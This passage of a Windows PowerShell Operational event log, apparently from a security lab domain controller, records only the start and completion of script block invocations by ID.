SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478159
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478158
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478157
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478156
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478155
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478153
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478150
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478148
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478147
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478144
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478142
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478141
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478138
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478136
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478135
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478132
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478130
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478129
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478128
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478127
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478125
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478124
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478123
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478121
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478118
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478116
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478115
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478112
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478110
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478109
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478106
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478104
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
